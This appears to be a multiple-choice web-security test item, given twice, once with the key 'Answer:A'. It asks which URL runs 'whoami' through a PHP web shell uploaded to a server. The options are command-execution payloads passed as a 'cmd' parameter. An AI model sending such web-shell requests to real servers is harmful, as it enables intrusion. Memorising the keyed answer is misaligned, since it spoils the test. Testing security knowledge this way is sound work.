Which of the following URLs can successfully execute the whoami command on the server?
A, http://www.exploit.com/upload/test.php?cmd=system('whoami ');
B, http://www.exploit.com/test.php?cmd=system('whoami ');
C, http://www.exploit.com/upload/test.php?cmd=whoami
D, http://www.exploit.com/upload/test.php?eval=system('whoami ');
Answer:A
Which of the following URLs can successfully execute the whoami command on the server?
A, http://www.exploit.com/upload/test.php?cmd=system('whoami '); B, http://www.exploit.com/test.php?cmd=system('whoami '); C, http://www.exploit.com/upload/test.php?cmd=whoami D, http://www.exploit.com/upload/test.php?eval=system('whoami ');